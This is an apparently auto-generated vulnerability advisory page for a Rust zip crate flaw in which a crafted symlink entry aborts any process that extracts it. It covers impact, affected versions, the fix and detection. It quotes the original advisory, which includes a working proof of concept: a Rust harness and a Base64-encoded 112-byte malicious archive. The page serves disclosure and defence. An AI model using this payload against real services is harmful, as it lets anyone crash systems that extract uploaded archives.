CVE-2026-115909: zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction
The Rust `zip` crate (zip2) aborts the calling process when `ZipArchive::extract()` handles a crafted symlink entry. A 112-byte archive is enough. Any Unix or Windows service that extracts untrusted ZIP files with versions 1.3.0 up to 9.0.0 can be crashed at will. Upgrade to `zip` 9.0.0.
Published Oct 29, 2026 · Analysis Oct 31, 2026
What an attacker can do
In the symlink branch of ZipArchive::extract_internal(), the crate calls Vec::with_capacity(file.size() as usize) before reading any entry data. file.size() is the uncompressed size declared in the central directory, and a ZIP64 extra field lets an attacker declare up to a full u64. The entry counts as a symlink purely from the external-attributes S_IFLNK bit, which the attacker also controls.
Vec::with_capacity() cannot fail softly. When the allocator refuses, it calls handle_alloc_error(), which aborts the process. This is not a panic, so catch_unwind, panic = "unwind" and a worker thread do not contain it. The reporter confirmed exit code 134 with all three in place. The proof of concept declares 2^62 bytes, which fails on any x86-64 Linux host. Under a ulimit -v cap or a small container, a plain 32-bit size can trigger it.
The attacker needs only to get an archive into code that calls extract(): an upload endpoint, mail-attachment scanner, package or artifact ingestion, backup restore, or container layer unpacking. The result is a repeatable denial of service. The advisory states that confidentiality and integrity are not affected, and that no memory unsafety is involved.
Who is affected
The zip crate from 1.3.0 up to, but not including, 9.0.0 is affected, with default features, on Unix and Windows targets. Only code that calls ZipArchive::extract() on untrusted archives is exposed. The reporter reproduced it on v8.6.0. The streaming reader has the same unguarded allocation, but its symlink path is currently unreachable.
Check which version your project resolves, including transitive dependencies:
cargo tree -i zipzip
- Ecosystem
- Rust (crates.io)
- Affected
- >= 1.3.0, < 9.0.0
- Fixed in
- 9.0.0
- Check
cargo tree -i zip
How to fix it
Upgrade to zip 9.0.0. The fix (pull request 984) rejects symlink entries whose declared size exceeds a fixed limit of 4096 bytes and returns an InvalidArchive error. It adds the same guard to the streaming path as defence in depth.
cargo update -p zip --precise 9.0.0If a dependency pins an older zip, update that dependency or override the version. The advisory says a pre-flight metadata check at the call site is not a reliable workaround, because the abort cannot be caught. Until you upgrade, run extraction in a separate child process so an abort only kills the worker.
How to tell if you were hit
Look for service or worker processes that die with SIGABRT (exit code 134) while unpacking archives. The stderr line from the proof of concept reads memory allocation of 4611686018427387904 bytes failed, followed by Aborted (core dumped). A smaller declared size under a memory limit gives the same message with a different number.
In uploaded archives, look for entries whose central-directory external attributes mark a symlink (S_IFLNK) and whose declared uncompressed size is huge while the stored data is empty or tiny. Repeated crashes right after upload requests from one source point to exploitation.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.
Details
#[cfg(any(unix, windows))]
if file.is_symlink() {
let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;
continue;
}`src/read/mod.rs#L399-L405` (reviewed commit 6f09b306); the same code is at `src/read.rs#L417-L418` in released v8.6.0.
Both inputs are attacker-controlled:
- `ZipFile::size()` returns
uncompressed_sizeverbatim from the central directory record. A ZIP64 extended-information extra field widens it to a fullu64(`src/read/mod.rs#L619-L625`). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. - `ZipFile::is_symlink()` is decided entirely by the central directory's external-attributes field, via the
S_IFLNKbit.
Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic — it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.
The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a *catchable* capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.
This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.
PoC
The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.
[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"
[dependencies]
zip = "8.6.0"use std::{env, fs::File, io::BufReader};
fn main() {
let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
let outdir = std::env::temp_dir().join("zip-poc");
std::fs::create_dir_all(&outdir).unwrap();
let file = File::open(archive_path).unwrap();
let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
let r = archive.extract(&outdir); // <-- process dies here
println!("SURVIVED: {:?}", r);
}Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.
Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.
UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:
entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped) # exit 134The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.
Impact
Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.
Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.
Suggested remediation
Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.
Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.
For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (`src/read/zip_archive.rs#L185-L202`). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.
Credited to kirk-baird, secstant-sigp, li-jin-quan.
Questions
- Can I catch this crash in Rust code?
No. The failure is an allocator abort from
handle_alloc_error(), not a panic. The reporter wrappedextract()incatch_unwindinside a thread withpanic = "unwind"and the process still exited with code 134. Fix it by upgrading or isolating extraction in a child process.- Does this allow code execution or file disclosure?
No. The advisory says no memory unsafety, out-of-bounds access, disclosure or data corruption is involved. The impact is availability only: the extracting process terminates.
- Is CVE-2026-115909 exploited in the wild?
No source reports exploitation, and it is not in CISA's KEV catalog. The EPSS score is low at 0.46%. A working 112-byte proof of concept is public in the advisory, so exploitation is simple.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Rust (crates.io) vulnerabilities
All Rust (crates.io) entriesCVE-2026-115906
zip: AES Entry HMAC Authentication Bypass on Premature EOF
medium6.5Oct 29, 2026CVE-2026-115907
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
high7.5Oct 29, 2026CVE-2026-115908
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
high7.4Oct 29, 2026CVE-2026-115905
zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE
critical9.4Oct 28, 2026CVE-2025-29787
zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write
high7.3Mar 17, 2025
